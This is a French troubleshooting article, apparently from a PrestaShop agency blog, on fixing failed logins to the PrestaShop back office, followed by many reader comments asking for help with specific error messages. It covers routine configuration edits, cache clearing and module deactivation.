Impossible de se connecter à l’admin de Prestashop ? Les solutions !

Voici une liste de problèmes (et leurs solutions) que vous pourriez un jour rencontrer en vous connectant au backoffice de votre Prestashop.

IMPORTANT :
Ne prenez plus de risque en partageant les accès à l’administration de votre PrestaShop. Notre nouveau module vous simplifie la vie et augmente grandement la sécurité de votre boutique.

Cliquez ici pour découvrir Op’art Secure Admin Link.

Sommaire:

0_ok

Mon backoffice est lent et j’ai des parfois une erreur 500

Ce problème survient lorsque le serveur officiel de prestashop addons est trop lent.
Il faut savoir que le backoffice de votre boutique fait des appels très fréquents vers le serveur officiel de Prestashop notamment à cause du module « Gamification ».

Voici comment résoudre ce problème et au passage améliorer grandement la vitesse de chargement de votre backoffice:

1. Rendez-vous sur votre FTP et ouvrez le fichier « classes/tools.php »

2. Repérez la ligne suivante (aux environs de la ligne 3350)

protected static $is_addons_up = true;

3. Changez la valeur « true » en mettant « false » ce qui donnera ceci:

protected static $is_addons_up = false;

4. Enregistrez le fichier et renvoyez-le sur votre serveur. (Pour que la modification soit prise en compte)

5. Si vous avez des messages d’erreurs concernant de ce type:

Erreur : Premature end of data in tag author line 1 dans le fichier country_module_list.xml.

Il faut dans ce cas vous rendre dans le dossier /config/xml/ et supprimer tous les fichiers qui s’y trouvent.

6. Enfin rendez-vous dans le dossier « modules » et renommer le dossier « gamification » en « gamification_old » ça aura pour effet de désactiver ce module.

Compte employé inexistant, ou mauvais mot de passe.

Lorsque vous indiquez votre identifiant et votre mot de passe vous obtenez le message d’erreur suivant : « employee does not exist, or bad password » ou en français « Compte employé inexistant, ou mauvais mot de passe. »

Cela signifie que vous n’utilisez pas le bon identifiant ou le bon mot de passe pour vous connecter.
Soit vous vous trompez soit ils ont été modifiés.

Vous avez alors trois solutions :

1. Cliquer sur le lien « Mot de passe oublié » puis indiquer votre email.

2. Si la première méthode ne fonctionne pas vous devrez recréer un mot de passe manuellement.

3. Et enfin vous pouvez également utiliser ce script (merci @shagshag)

J’ai modifié le répertoire de ma boutique et je n’accède plus à l’admin

Si vous avez modifié le répertoire dans lequel se trouve votre boutique il est normal que vous ne puissiez plus accéder au backoffice de votre site.

Vous devez donc vous rendre dans la base de données, repérer la table « ps_shop_url » et modifier la valeur de « physical_uri » pour mettre la nouvelle.

Si par exemple votre boutique se trouvait dans le dossier « /shop » et que vous l’avez déplacée à la racine de votre hébergement, alors « physical_uri » doit passer de « /shop » à « / ».

Dès que j’entre mes identifiants, je suis redirigé vers la page de connexion

Solution 1 :

C’est sans doute un problème de cache ou de cookie. Videz le cache et les cookies de votre navigateur puis essayez à nouveau de vous connecter.

Dans le doute, essayez avec un autre navigateur ou même ordinateur.

Solution 2 :

Il est également possible que ce soit un problème lié à l’écriture d’informations dans votre base de données.

Contactez votre hébergeur pour lui demander si votre base de données est bien accessible en écriture. Si elle est pleine (ce qui peut rapidement arriver si vous utilisez le module de statistiques de base de prestashop) ou en lecture seule, il est possible que vous rencontriez ce problème de redirection vers la page de login.

Solution 3 :

Ensuite, afin d’éliminer la possibilité que ce soit un module qui pose problème, vous pouvez (via votre FTP) renommer tous les dossiers compris dans le dossier « modules » en y ajoutant « _old » à la fin.

Cela rendra inactif tous les modules et (si cela résout votre problème de connexion) il suffira de leur redonner leur nom d’origine pour les réactiver un par un et repérer quel module génère votre problème de connexion.

Enfin et malheureusement, il semblerait que ce problème de redirection vers la page de connexion soit le symptôme d’un hack qui s’applique sur le fichier « controllers/admin/AdminLoginController.php » dans la fonction « processLogin ».

Des solutions ont été trouvées sur ce message du forum prestashop.

Lorsque je rentre mes identifiants il ne se passe rien.

Même problème que précédemment, videz le cache et les cookies de votre navigateur.

J’ai perdu l’url de l’admin.

Vous avez oublié l’url de l’admin qui vous permet de vous connecter à votre backoffice ?
Ouvrez votre FTP (soit avec Filezilla soit un autre logiciel peu importe) et regardez les noms des dossiers de votre site.

En règle générale, le nom du dossier de l’admin va être de la forme « admin » suivie d’autres caractères (souvent des chiffres), mais il est possible que vous l’ayez renommé entièrement et qu’il ne comporte donc plus la mention « admin ».

Dans ce cas, ouvrez les dossiers un par un (seulement ceux du premier niveau) et trouvez celui qui comporte les dossiers « autoupgrade », « backups », « export », c’est votre dossier admin.

Une fois le nom du dossier de l’admin retrouvé, retournez dans votre navigateur puis tapez l’url de votre site suivi du nom de votre dossier admin.

Exemple : http://www.monsite.com/mondossieradmin

Je suis régulièrement déconnecté de mon backoffice

Il s’agit en règle générale d’un problème de vérification de votre IP.
Commencez par regarder du côté de vos réglages internet. (Proxy, livebox, etc…) pour voir si votre IP ne change pas trop souvent.

Si vous ne trouvez pas de solution, voici ce que vous pouvez faire :
Ouvrez le fichier « /classes/Cookie.php » et selon votre version de Prestashop supprimez le code suivant :

Version 1.3 et 1.4

[php] AND (!isset($this->_content[‘remote_addr’]) OR $this->_content[‘remote_addr’] == ip2long(Tools::getRemoteAddr()))
[/php]

Version 1.5

[php] !isset($this->_content[‘remote_addr’]) || $this->_content[‘remote_addr’] == ip2long(Tools::getRemoteAddr()) ||
[/php]

Pour les versions 1.6, rendez-vous dans votre base de données, trouvez la table « ps_configuration » et modifiez la valeur de « ps_cookie_checkip » en la passant de 1 à 0.

Lorsque je me connecte à l’admin j’ai une page blanche.

Lorsque vous avez une page blanche sous Prestashop, le premier réflexe à avoir est d’activer le mode debug.

Lorsque je me connecte j’ai le message d’erreur « Fatal error: Uncaught –> Smarty: unable to write file « 

Le problème vient du fait que Prestashop n’arrive pas à écrire dans les fichiers de cache de Smarty.

Voici différentes choses que vous pouvez faire:

  1. Allez sur votre FTP et supprimez tout le contenu du dossier « cache/smarty/compile »
  2. Allez sur votre FTP et regardez les droits d’accès au dossier « cache/smarty/compile » s’ils ne sont pas en 755 mettez-les.
  3. Rendez-vous dans la base de données de votre site et repérez la table « ps_configuration ». Placez la variable « PS_SMARTY_CACHE » à 0 et « PS_SMARTY_FORCE_COMPILE » à 1. Si cela résout votre problème il faudra tout de même faire plus de recherches pour trouver l’origine du problème car votre site sera alors très lent.
  4. Vous avez peut-être atteint l’espace disque maximum autorisé par votre hébergeur, contactez-le pour vous assurer que le problème ne viens pas de là.
  5. Certains hébergeurs (notamment 1&1) limitent le nombre de fichiers sur leur serveur (même si l’espace disque maximum n’est pas atteint). Si c’est le cas, la seule solution est de changer d’hébergeur.

Lorsque je me connecte je suis redirigé vers une autre url

Ce type de problème arrive, par exemple, lorsque vous modifiez le nom de domaine de votre boutique.
Outre le fait d’avoir bien modifié la valeur de « shop_url » dans votre base de données (table « ps_configuration ») il est aussi parfois nécessaire de re-générer le fichier « htaccess ».

Ouvrez votre FTP et renommez le fichier « .htaccess » en « 1.htaccess ». Il sera alors ignoré par votre serveur.
Essayez à nouveau de vous connecter à votre backoffice. Si cela fonctionne, rendez-vous dans la rubrique « préférences/seo et url », placez « url simplifiée » sur oui et cliquez sur « enregistrer ».

Vous n’arrivez toujours pas à accéder à l’admin de votre site ? Pas de panique !

Vous n’avez pas trouvé la réponse à votre problème dans les solutions citées plus haut ?

Pas de panique !

Vous trouverez encore tout un tas de solution dans les commentaires ci-dessous.

J’en profite d’ailleurs pour remercier chaleureusement tous ceux qui partagent leurs solutions (car je n’ai malheureusement pas souvent le temps de le faire moi même :( ).

Si jamais vous êtes toujours bloqué, j’ai encore une solution pour vous :)

Cliquez ici et détaillez votre problème, je vous mettrais en contact avec les meilleurs experts Prestashop.

Subscribe
Recevoir un email pour
guest

150 Commentaires
Inline Feedbacks
View all comments
Benoit
Benoit

Super article merci, je suis sur 1.6 et ce matin impossible de me connecter a mon back office quand j’essaye de me connecter je retombe sur la page de connection.
Pour ne plus avoir ce problème il faut aller dans la base de données du site et à la table “ps_configuration”, il faut ensuit placez la variable “PS_COOKIE_LIFETIME_BO” à 0

Leonel Jiofack
Leonel Jiofack
Reply to  Benoit

Merci Benoit, tu me sauve !!! :-)

Abdoulaye
Abdoulaye
Reply to  Benoit

super! merci Benoit

jerome Laurens
jerome Laurens
Reply to  Benoit

Bonsoir la variable PS_COOKIE_LIFETIME_BO ne semple plus exister dans Presta 1.7.8

Ratinox
Ratinox

Merci pour le tuto en video de la 2ème méthode.. Super clair. Parfait :)))

marielle
marielle

Bonjour
Pour ma part , la génération du mot de passe fonctionne mais le lendemain , le souci revient , impossible de se connecter.
Je me vois mal passer mon temps à regenerer ce mot de passe tous les jours , j’utilise prestashop 1.6.1.11, savez vous si c’est un bug récurrent ?

Sinon j’ai voulu tester la méthode « table “ps_configuration”, il faut ensuite placez la variable “PS_COOKIE_LIFETIME_BO” à 0 » mais dans la base de donnée , j’ai ps2x_configuration et il n’y a pas de “PS_COOKIE_LIFETIME_BO”.

Merci pour votre aide , car je suis sur le point de laisser tomber Prestashop.

Nicolas
Nicolas

Bonjour,
Une amie a un site eCommerce sous Prestashop 1.6.1.3 et a un problème dans son BO : quand elle va sur Préférences, elle a une page blanche
Pourtant sur toutes les autres pages du BO, pas de souci.
Auriez-vous une idée d’où ça vient et surtout comment régler ce problème ?
Quand je suis allée sur son BO > Paramètres avancés > Informations, je lis (entre autre) que deux fichiers ont été modifiés :
– AdminController.php
– CONTRIBUTORS.md
Autant le premier je connais, autant le second…
Est-ce que le problème peut venir de là ?
Est-ce qu’on peut le régler en récupérant le(s) fichier(s) sur un autre site (lui aussi sous Prestashop 1.6) ou est-ce que c’est spécifique à chaque site ?
Merci pour votre aide.
Bonne journée

laurent
laurent
Reply to  Nicolas

Bonjour,
je ne sais pas de quand date le sujet, mais il me semble que le problème de l’amie à Nicolas est peut être du à sa version de php. Prestashop supporte le php 7 qu’à partir de PS 1.6.1.4

JPG
JPG

De tous les blabla qui meublent le mur des lamentations de Prestachopine…C’est exact que c’est ce modeste blog d’Olivier CLEMENCE que je retiendrai !
Parce qu’il y a un détail que les pianistes compositeurs, les PrestaChopins, n’ont pas suffisamment claironné : c’est de noter vite fait, à la seconde où il apparaît devant les yeux du newbie, et pour une seule apparition, le nom du lien ADMIN !
Car il faut avoir galéré bien comme il faut, longtemps, dans des kilomètres de pages et quelquefois même en anglais (l’horreur…), avoir tout désinstallé dans un grand cri de rage, et j’en passe… Pour comprendre le seul docteur Presta, CLEMENCE, qui nous a offert une vue claire: à savoir de regarder le nom du répertoire créé en loussdé par Prestamachine, et de comprendre que c’est ce nom de répertoire qu’il suffisait d’ajouter à l’adresse « https://monsitemagalère.com/admin(tralala)/ »
Et, devant cette évidence de constate devant la glace, que c’est ps des blagues, je suis bien le roi des ….
Merci CLEMENCE pour cette séance gratuite d’auto-hypnose….et de découverte de soi !
Car comme l’a dit Shakespeare : « C’est un malheur du temps que des fous guident les aveugles ! »

Sam
Sam

Bonjour,
J’ai le même problème je n’arrive plus à me connecter sur le site ni sur le back office, quand je tape le site ou l’adresse url/admin je suis redireger sur la même page du site une page blanche pas de prestashop et tout est écrit dans la la même colonne pas beau j’ai restaurer la bd et ftp de chez obh mais n’a changé toujour le même problème j’ai modifié le chemin d’accès et activer 2 options du service web
Help please

laurent
laurent

Bonjour, suite au passage de mon site en https je suis déconnecté sans arrêt de mon backoffice, et le front office également,
je suis allé dans administration>préférences j’ai mis « non » à Vérifier l’adresse IP du cookie. mais ça n’a rien changé…
et là je vais dans la table ps_configuration mais je n’ai pas la variable ps_cookie_checkip
qu’est ce que je doit faire je ne trouve rien à ce sujet sur internet :(
je suis sous PS 1.6.1.4

Isabelle
Isabelle

bonjour, une amie a une boutique prestashop en version 1.7 et elle ne peut plus se connecter. J’ai lu attentivement votre article mais je n’ai pas trouvé la solution. Voici le message qui lui apparaît :
Il y a plusieurs erreurs.
Erreur trouvée: Impossible de trouver la fin de la ligne de départ Tag prix 1 dans le fichier country_module_list.xml.
Erreur trouvée: Fin prématurée des données en ligne de module de balise 1 dans le fichier country_module_list.xml.
Erreur trouvée: Fin prématurée des données en ligne de modules de balises 1 dans le fichier country_module_list.xml.
Pouvez-vous nous aider s’il vous plaît ?

JEROME
JEROME

Bonjour,
Je n’arrive pas avoir à l’écran ma page d’authentification du back office de prestachop, je rentre bien dans mon navigateur le lien et le répertoire de mon dossier admin , comme d’habitude et je tombe sur un message 500 INTERNAL SERVER ERROR /Internal Server Error

The server encountered an internal error or misconfiguration and was unable to complete your request.

Please contact the server administrator at postmaster@www.jura-sud.com to inform them of the time this error occurred, and the actions you performed just before this error.

More information about this error may be available in the server error log.

Sachant que mon site marche bien, mais je ne peux pas me connecter car je ne peux rentrer mon identifiant et mot de passe, j’ai pas accès à la page.
Merci pour votre aide

Déborah
Déborah

Bonjour,
je n’arrive plus à me connecter à mon Back-office. J’ai fait plusieurs demandes de mot de passe sur le lien « mot de passe oublié » mais je n’ai reçu aucun mail.
Mon problème c’est que Prestashop n’est pas installé sur mon ordinateur. Je me connecte à ma boutique via une interface web. Je ne peux donc utiliser aucune des solutions préconisées sur divers forums qui nécessitent la présence de prestashop sur un ordinateur.
Quelqu’un aurait-il une solution ? Merci

Deborah
Deborah

Merci pour votre réponse rapide. Je vais contacter l’hébergeur.

Claire
Claire

Bonjour, je n’arrive pas a me connecter a mon backoffice, essai de changement du mot de passe impossible aussi : vous ne pouvez régénérer un mot de passe que après 360 minutes…ce qui n’est pas le cas
Est ce lié à OVH? j’ai vu qu’ils avaient eu des problèmes aujourd’hui?
Si quelqu’un a des info?

coralie
coralie

bonjour, impossible de ce connecter a mon back office aujourd hui. voici le message d erreur :

« Whoops, looks like something went wrong.

1/1
Exception in CartPresenter.php line 281:
CartPresenter can only present instance of Cart
in CartPresenter.php line 281
at CartPresenter->present(null) in ps_shoppingcart.php line 85
at Ps_Shoppingcart->getWidgetVariables(‘displayAdminAfterHeader’, array(‘smarty’ => object(Smarty_Internal_Template), ‘cookie’ => object(Cookie), ‘cart’ => null)) in ps_shoppingcart.php line 97
at Ps_Shoppingcart->renderWidget(‘displayAdminAfterHeader’, array(‘smarty’ => object(Smarty_Internal_Template), ‘cookie’ => object(Cookie), ‘cart’ => null)) in Hook.php line 900
at HookCore::coreRenderWidget(object(Ps_Shoppingcart), ‘displayAdminAfterHeader’, array(‘smarty’ => object(Smarty_Internal_Template), ‘cookie’ => object(Cookie), ‘cart’ => null)) in Hook.php line 861
at HookCore::exec(‘displayAdminAfterHeader’, array(‘smarty’ => object(Smarty_Internal_Template)), null) in smarty.config.inc.php line 168
at smartyHook(array(‘h’ => ‘displayAdminAfterHeader’), object(Smarty_Internal_Template))
at call_user_func_array(‘smartyHook’, array(array(‘h’ => ‘displayAdminAfterHeader’), object(Smarty_Internal_Template))) in SmartyLazyRegister.php line 83
at SmartyLazyRegister->__call(‘smartyHook’, array(array(‘h’ => ‘displayAdminAfterHeader’), object(Smarty_Internal_Template))) in 3a84be4b170ccbd623eb517bb81f7c677ea2a634.file.header.tpl.php line 546
at SmartyLazyRegister->smartyHook(array(‘h’ => ‘displayAdminAfterHeader’), object(Smarty_Internal_Template)) in 3a84be4b170ccbd623eb517bb81f7c677ea2a634.file.header.tpl.php line 546
at content_5a2d71f56f7da4_60304933(object(Smarty_Internal_Template)) in smarty_internal_templatebase.php line 188
at Smarty_Internal_TemplateBase->fetch(‘header.tpl’) in AdminController.php line 1821
at AdminControllerCore->display() in Controller.php line 225
at ControllerCore->run() in Dispatcher.php line 379
at DispatcherCore->dispatch() in index.php line 95 »

merci pour votre aide

Val
Val

Certains hébergeurs (notamment 1&1) limitent le nombre de fichiers sur leur serveur (même si l’espace disque maximum n’est pas atteint) … en effet c’était çà #merci

Florian
Florian

Bonjour,
J’ai un soucis de page blanche lorsque je lance la page admin et en mettant le mode débug j’ai ça :

FatalErrorException in AdminDashboardController.php line 539:
Compile Error: Declaration of AdminDashboardControllerCore::setMedia() must be compatible with AdminControllerCore::setMedia($isNewTheme = false)

Que faire? Merci d’avance

Florian
Florian

Merci, j’ai oublié de préciser que je commence juste le site en local avec MAMP pour le moment

ikos
ikos

un grand merci.

Bacchetti
Bacchetti

Bonjour, j’ai un problème, lorsque je veux me connecter à ma page d’administration depuis plusieurs jour j’ai ce message d’erreur: DNS_PROBE_FINISHED_NXDOMAIN
J’ai passé des heures à chercher une solution mais je n’y parviens pas. Pouvez-vous m’aider ?

Merci d’avance

Emmanuelle
Emmanuelle

bonjour,

J’ai lu attentivement votre article, et je me permet de vous contacter suite a mon problème avec prestashop. Mon problème est que quand j’essayais de me connecter j’étais directement redirigé sur ma page de connexion, rien ne se passait et maintenant je ne peux même plus avoir ma page de connexion. J’ai fait comme ce que vous aviez recommandé sur votre article. C’est à dire vider le cache et les cookies mais le problème persiste. Je n’ai actuellement aucune solution et reste bloqué. je suis sur la version 1.7.2.4.
Auriez-vous une solution? SVP
Merci.

Emmanuelle
Emmanuelle

Bonjour,

Après avoir lu votre article, je me permet de poster pour le problème suivant. J’ai installé prestashop 1.7.2.4, et je n’arrive pas à me connecter en mettant mes identifiants, je reviens automatiquement sur la page de connexion sans que rien ne se passe. De plus depuis aujourd’hui je ne peux même plus aller sur ma page pour me permettre ma connexion, cela me met que j’ai trop de cookies hors j’ai tout supprimé. J’ai fait toute les solutions possible que j’ai trouvé sur internet mais rien ne marche (supprimé les cookies et le caches du pc et du navigateur).
Je ne sais plus quoi faire et j’ai un site à établir.
Avez-vous une solution au problème?
Merci.

Vincent Barriere
Vincent Barriere

Bonjour Olivier,

Merci pour cet article. J’ai cru trouvé la solution à mon problème !
Depuis hier, impossible de se connecter au BO de ce site prestashop https://delormdesign.com/
Le problème ressemble à « Dès que j’entre mes identifiants, je suis redirigé vers la page de connexion
 » ou « Lorsque je rentre mes identifiants il ne se passe rien. »
J’ai tenté de vider le cache, puis essayé depuis Mozilla et Safari et le problème persiste.
Auriez-vous des pistes de solution supplémentaires pour identifier ou résoudre ce bug ?

Jellyne
Jellyne

Bonjour/Bonsoir ^^

Tout d’abord merci pour cet article. Je me permet de vous poser une question sait-on jamais. J’ai l’impression que vous pourriez peut être m’aider.. .
Suite au passage de mon site en https,j’ai été déconnectée en plein milieu d’une manipulation. Depuis je n’arrive plus à me connecter au Back office. Et le site n’est plus visible Front office également. J’ai essayé de me connecter en http (j’avais un message me disant que cela été possible) malheureusement, à chaque fois la page est introuvable. J’ai déjà contacté le gestionnaire de modules et le forum officiel pas de réponse pour le moment. Je me suis dis que peut-être vous auriez une solution?

Merci d’avance.

Stéphanie Simon
Stéphanie Simon

Impossible de me connecter avec les identifiant, j’ai vider les caches et les cookies, mais ça ne fait rien. Que faire ? Merci

girard
girard

je ne peux plus me connecter a mon back office et j’ai ce message qui apparaît

Il y a plusieurs erreurs.

Erreur : CData section not finished 1. AMELIOREZ LA TRANSFORMATION DE VOS PANIERSDonne dans le fichier country_module_list.xml.
Erreur : Premature end of data in tag additional_description line 1 dans le fichier country_module_list.xml.
Erreur : Premature end of data in tag module line 1 dans le fichier country_module_list.xml.
Erreur : Premature end of data in tag modules line 1 dans le fichier country_module_list.xml.

christel
christel

Bonjour,

J’utilise une version 1.7

Mon site est visible, mais lorsque je veux aller sur ma page admin, google cherche mais aucune page ne s’affiche. Même pas un message d’erreur.
Je me demande si on n’a pas piraté mon côté admin.

merci

bachelier
bachelier

Bonjour j’ai un problème de connexion à mon back-office la réinitialisation de mot de passe fonctionne mais ça ne modifie pas mon erreur erreur 520 impossible d e me connecter ca tourne pendant des heures et erreur 520

yann
yann

Bonjour, j’essaye de faire les modifs pour un accès au back office, bloqué depuis plusieurs jours. je ne trouve pas le dossier classe / tools php. J’utilise une version 1.7 peux tu me dire dan quel dossier racine le trouver ?

D’avance merci

yann
yann

Merci Olivier. j’ai suivi toutes les étapes, en 2 fois: modification du fichier (et non dossier !) tool.php; ça ne marchait pas mieux. DOnc ce matin , j’ai viré les fichiers configs / xml et renommé le module Gamification. Et cela semble être bien plus rapide.
Merci encore pour l’astuce.

daniel
daniel

Bonjour,
Je suis une bille en informatique mais voilà dans le back office dans réglage j’ai changé l’url en mettant le S de HTTPS… j’ai ouvert un autre onglet et j’ai bien vu que le site ne fonctionnait plus mais j’ai fait autre chose en même temps et PAF j’ai fermé mon ordi sans enlever le S que j’ai ajouté ce qui fait que je ne peux plus ouvrir mon site internet !!!
Je ne sais pas si j’ai été clair mais HELP comment je peux récupérer mon site ?!!! MERCI

Coffrant
Coffrant

Merci pour ces éclairages très instructif. J’ai un problème sur lequel je sèche. Après avoir installé un module (prestashop 1.7.3), dans le BO l’onglet catalogue > produit > ne m’affiche plus plus la liste des produits du catalogue mais va directement au module que j’ai installé, j’ai vidé le cache, réinitialisé le module, rien n’y fait. Lorsque je le supprime, tout redevient normal. Auriez-vous une piste afin que j’identifie d’ou vient le problème ? Merci par avance

cavigneaux
cavigneaux

Bonjour, pour partager mon expérience, j’avais oublié d’enlever le mode débug, j’avais laissé true à la place de false dans defines.inc.php et suite à ça, plus aucun accés à l’admin.

beghain
beghain

Bonjour
depuis 3 jours impossible de me connecter au BO des mes 2 sites prestashop version 1.6 impossible de me connecter au BO en tant qu’Administrateur (504 Gateway Time-out), et mon commercial a qui j’ai créé un acces limité, lui se connecte et aucun probleme de connexion sur 1 boutique en 1.7.

Shaker Hasan
Shaker Hasan

L’article est super bien.

pouvez-vous jeter un coup d’œil ici ça fait qq jours que je me suis bloquer sur ça:

(1/1) RuntimeException
The autoloader expected class « PrestaShop\PrestaShop\Adapter\Module\PrestaTrust\ModuleEventSubscriber » to be defined in file « /home/httpd/vhosts/vipersmoke.ch/httpdocs/vendor/composer/../../src/Adapter/Module/PrestaTrust/ModuleEventSubscriber.php ». The file was found but the class was not in it, the class name or namespace probably has a typo.

Grand merci

abdo121
abdo121

Bonjour,
je vient d’installer prestashop 1.6, tout se passe bien le site s’ouvre pas de problème jusqu’au moment ou je clique sur le lien pour accéder à mon espace admin toujours le même message vérifier le proxy, j’ai essayer tout les solutions proposer par le forum en vain
comme le cas de Laurent: la table ps_configuration mais je n’ai pas la variable ps_cookie_checkip
Merci de votre aide

arnoult
arnoult

bonjour suite a cette action j’ai une page blanche sur le bo
et une erreur
et une page blanche plus d’acces sur la bo
quel galere
tu peux m’aider

1. Rendez-vous sur votre FTP et ouvrez le fichier « classes/tools.php »

2. Repérez la ligne suivante (aux environs de la ligne 3350)

protected static $is_addons_up = true;

3. Changez la valeur « true » en mettant « false » ce qui donnera ceci:

protected static $is_addons_up = false;

4. Enregistrez le fichier et renvoyez-le sur votre serveur. (Pour que la modification soit prise en compte)

Mélanie
Mélanie

Bonjour,

j’ai un souci en voulant me connecter à mon prestashop 1.7.2 ce matin..

message :

Il y a plusieurs erreurs.

Erreur : CData section not finished Ce module développé par LIBRASOFT e dans le fichier must_have_module_list.xml.
Erreur : Premature end of data in tag description_full line 1 dans le fichier must_have_module_list.xml.
Erreur : Premature end of data in tag module line 1 dans le fichier must_have_module_list.xml.
Erreur : Premature end of data in tag modules line 1 dans le fichier must_have_module_list.xml.

cela se produit quand je veux me connecter à mon prestashop en rentrant mon adresse e-mail et mon mot de passe. Tout marchait bien hier encore.

Olivier je compte vraiment sur votre aide, merci à vous.

kevine
kevine

Bonjour,
je viens d’importer mon site en local et je rencontre des problèmes pour accéder a ma boutique.
J’utilise la version 1.6.1.10 de prestashop. j’ai bien accès au back office mais pas au front. Pouvez vous m’aider svp . Merci

amandine foutrier
amandine foutrier

Bonsoir, j’ai bien suivi ce que vous avez dit pour le back office quand on a une page blanche mais rien a faire la seul manip que j’ai faite c’est de passer mon serveur en 7.2 et depuis impossible

ikos
ikos

Bonjour, J’ai une erreur 500 après un vidage de cache qui a foiré dans la BO. Avbec le mode debug j’ai ca :
RuntimeException in PhpDumper.php line 1403: Cannot dump definition because of invalid class name (NULL)
Si quelqu’un a une solution…un énorme merci d’avance

Johan de marketing301.net
Johan de marketing301.net
Reply to  ikos

C’est une erreur relativement courante.
Je t’invite à ouvrir vendor/symfony/symfony/src/Symfony/Component/DependencyInjection/Dumper/PhpDumper.php et à commenter la ligne 1403. Une fois cela fait, tu vides manuellement ton cache soit dans app/cache, soit dans var/cache (en fonction de ta version de PrestaShop 1.7). Pour gagner du temps, tu peux simplement renommer dev en dev_ et prod en prod_.

Ensuite, tu décommentes la ligne 1403 et tu repasses le mode debug à false.
En théorie, cela corrige partiellement le problème, je suis en train de rechercher la cause du déclenchement.

laurent
laurent

Bonjour olivier,
si je fais cette modif sur le fichier classes/tools.php »

protected static $is_addons_up = true;

et que je passe à false

est ce que je serais toujours informé des mises à jour des modules?

merci d’avance,
bien cordialement

Fred
Fred

Bonjour, depuis quelques heures, je n’arrive plus à me connecter à mon BackOffice
dès que j’insère mes identifiants admin j’ai ce message.

Oops! An Error Occurred
The server returned a « 500 Internal Server Error ».
Something is broken. Please let us know what you were doing when this error occurred. We will fix it as soon as possible. Sorry for any inconvenience caused.

quelqu’un a t il une solution s’il vous plait ?

gino
gino

bonjour,
depuis que j’ai activé le mode debug rien ne va plus «  » » (1/1) ContextErrorException
Warning: « continue » targeting switch is equivalent to « break ». Did you mean to use « continue 2″? » » » » »
je ne sais plus accéder au back-office ni a mon site
merci de votre aide

fabian
fabian

j’ai un soucis avec l’admin prestashop, le dossier admin sur le serveur change de nom tout seul du style admin985547 sur le serveur du coup quand je tape l’adresse de mon site /admin, cela me dis erreur 404 page non trouvée, je suis a chaque fois obligé d’aller sur le serveur et de supprimer les chiffres derriere le dossier admin pour pouvoir me connecter cela deviens tres embêtant, du coup j’ai supprimé tout les fichier de prestashop je pense que je vais aller voir apres un autre script d’ecommerce.

Mila
Mila

Bonjour,
Je débute avec prestashop et en codage.

Comme je n’ai pas réussi à me connecter au back office de mon prestashop, après avoir utilisé les méthodes 1 et 2, j’ai fini par essayer la méthode 3 en utilisant le code php fourni sur la page https://gist.github.com/Shagshag/8939db3e40febb2a3f68.

Mais ça n’a pas fonctionné même si j’ai remplacé le mot de passe « f71dbe52628a3f83a77ab494817525c6 » par le mot de passe d’accès au back office de ma boutique. Et j’ai fait deux tentatives, en créant un nouveau fichier via le FTP, en veillant à le supprimer avant de recommencer.

Aujourd’hui, « le message « 500 server Error » s’affiche lorsque j’accède à l’url d’accès du back office de ma boutique.

Qu’est ce que j’ai fait de travers? Et quelle est la méthode simple et didactique pour résoudre mon problème?

Par avance, un grand merci.

Stéphanie
Stéphanie

Bonjour,
Je tente désespérément de terminer la mise en ligne de ma boutique prestashop 1.7. J’ai acheté mon nom de domaine et mon hébergement, j’ai utilisé filezilla pour mettre les dossiers de prestashop sur le site distant, mais quand je retourne sur 1et1 ionos, et que je fais la procédure pour finaliser la mise en ligne de la boutique, je suis sensée arriver sur une page qu’ils appellent le tunnel, mais ca me mets sur la boutique en ligne (donc elle est bien en ligne, le modèle de prestashop) mais je ne peux pas accéder à mon backoffice. J’ai refait la manipulation 4 fois, à l’aide de la vidéo, j’ai l’impression de faire comme c’est indiqué dans la vidéo, mais ca ne va pas au bon endroit. Et évidemment, personne ne répond au télpéhone chez prestashop en ce moment pour m’aider à me sortir de ma galère. Si quelqu’un a une solution à me donner … je suis preneuse.
Merci

elodie
elodie

Bonjour
je narrive pas à me connecter à ladministrateur de mon site
Message:
administration/index.php?controller=AdminLogin&token=3b932c68bbfde4e3d5d1aeaf417a59d4
???
Merci pour votre aide
Elodie

laura
laura

Bonjour, j’ai un beau bug avec ma page prestashop je ne sais pas pourquoi ça me fait ça mais depuis ce matin impossible de d’ouvrir l’identification pour me connecter alors que hier j’ai installé un nouveau thème acheté sur presta
j’ai ce message qui s’affiche :

ContextErrorException

Warning: « continue » targeting switch is equivalent to « break ». Did you mean to use « continue 2″?
in UnitOfWork.php line 2636
at ErrorHandler->handleError(2, ‘ »continue » targeting switch is equivalent to « break ». Did you mean to use « continue 2 »?’, ‘/htdocs/vendor/doctrine/orm/lib/Doctrine/ORM/UnitOfWork.php’, 2636, array(‘class’ => ‘Doctrine\\ORM\\UnitOfWork’, ‘e’ => 32767, ‘file’ => ‘/htdocs/vendor/composer/../doctrine/orm/lib/Doctrine/ORM/UnitOfWork.php’))in DebugClassLoader.php line 156
at require()in DebugClassLoader.php line 156
at DebugClassLoader->loadClass(‘Doctrine\\ORM\\UnitOfWork’)
at spl_autoload_call(‘Doctrine\\ORM\\UnitOfWork’)in EntityManager.php line 160
at EntityManager->__construct(object(Connection), object(Configuration), object(ContainerAwareEventManager))in EntityManager.php line 850
at EntityManager::create(object(Connection), object(Configuration))in appDevDebugProjectContainer.php line 1812
at appDevDebugProjectContainer->getDoctrine_Orm_DefaultEntityManagerService()in getPrestashop_Translation_DatabaseLoaderService.php line 8
at require(‘/htdocs/var/cache/dev/ContainerK69x8fl/getPrestashop_Translation_DatabaseLoaderService.php’)

c’est qu’une partie du message d’erreur si vous pouviez m’aider !!
merci

pascal
pascal

Bonjour à tous,

J’ai un problème de connection mot de passe ou id incorrect, pas de retour de mail (mot de passe) par prestashop, j’ai suivi vos recommandations mais je ne trouve pas les fichiers cookies etc dans mon mac.

je ne connais pas grand chose en informatique (chacun son métier😄)

La seule chose à ajoutée c’est que j’ai peut être touché à un module mais bon mon mot de passe et mon identifiant ne marche plus.

Merci à vous pour votre aide.

Pascal

Johanna
Johanna

Bonjour, merci pour l’article, j’ai le problème numéro 1 avec php, seulement je venais juste de créer mon site prestashop et je n’ai aps le site en local sur mon ordinateur je ne sais y accéder que par prestashop, comment faire pour ne plus avoir l’erreur 500? Merci

Elisa
Elisa
Reply to  Johanna

Bonjour Johanna,
Vous pouvez activer le mode débug pour mieux comprendre le problème de l’erreur 500 : https://www.reussir-mon-ecommerce.fr/page-blanche-prestashop/
Si cela ne vous aide pas, je vous invite à poser la question sur le forum de Prestashop.
A bientôt. :)

Jean
Jean

Bonjour je n arrive plus a rentrer dans le back office.
je demande mot passe oublié , j’ai un retour qui me dit que le compte n’existe pas. Pourquoi je reçois des emails de prestashop. Pourriez vous faire le nécessaire rapidement

Merci

